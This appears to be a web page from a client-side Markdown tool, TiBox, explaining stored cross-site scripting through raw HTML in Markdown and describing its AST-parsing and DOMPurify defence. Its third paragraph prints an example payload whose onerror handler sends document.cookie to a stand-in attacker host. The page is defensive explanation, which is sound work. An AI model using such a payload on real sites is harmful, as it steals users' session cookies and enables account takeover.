Markdown and the Dual Danger of Stored Cross-Site Scripting (XSS)
Markdown, conceived by John Gruber in 2004 and formalized under the CommonMark specification, is the undisputed lingua franca for technical documentation, README files, and collaborative developer platforms.
However, the Markdown specification explicitly allows raw HTML tags to pass through parser implementations untouched. This intentional design feature represents one of the most perilous attack vectors in web software: Stored Cross-Site Scripting (XSS).
An attacker who submits a Markdown comment or documentation string containing: ```html <img src="x" onerror="fetch('https://attacker.site/steal?cookie=' + document.cookie)" /> ``` can compromise administrative sessions if the Markdown renderer outputs raw HTML into the DOM without strict multi-stage sanitization.
Two-Stage Defense: Abstract Syntax Tree Validation and DOMPurify Filtering
TiBox implements a defense-in-depth architecture for Markdown processing: 1. **AST Tokenization**: The Markdown string is parsed into an Abstract Syntax Tree (AST), ensuring nested blockquotes, tables, and fenced code blocks strictly conform to CommonMark rules. 2. **DOM-Level Whitelist Filtering**: The generated HTML string is filtered through a strict DOMPurify pipeline configured to strip dangerous attributes (such as `onerror`, `onload`, and `javascript:` URIs) while preserving clean semantic tags (`h1-h6`, `p`, `code`, `pre`, `table`).
Interactive Sandbox: Markdown Readability & Metrics Calculator
Frequently Asked Questions
Is my Markdown preview sent to any remote server for rendering?▼
No. TiBox compiles and sanitizes Markdown entirely client-side inside your browser JavaScript runtime.
Does the previewer support GitHub Flavored Markdown (GFM)?▼
Yes. Tables, task list checkboxes, strikethrough syntax, and auto-linked URLs are fully supported.
Perform this operation securely with Markdown Studio & Sanitizer
No uploads, no cookies, no tracking. Air-gapped safe and executes entirely inside your browser.
Related Engineering Guides
Anatomy of Zero-Server PDF Engineering: In-Memory Assembly, Merging & Vector Manipulation
A deep architectural investigation into how modern WebAssembly and typed array memory buffers allow complex PDF merging, splitting, and re-indexing entirely in browser RAM without sending a single byte to remote cloud infrastructure.
Security & PrivacyThe Silent Surveillance in Your Photos: Forensic Deconstruction of EXIF & GPS Coordinates
How smartphones and modern cameras silently embed your home latitude, altitude, device serial numbers, and facial coordinates into every photo file, and how client-side binary stripping shields your physical privacy.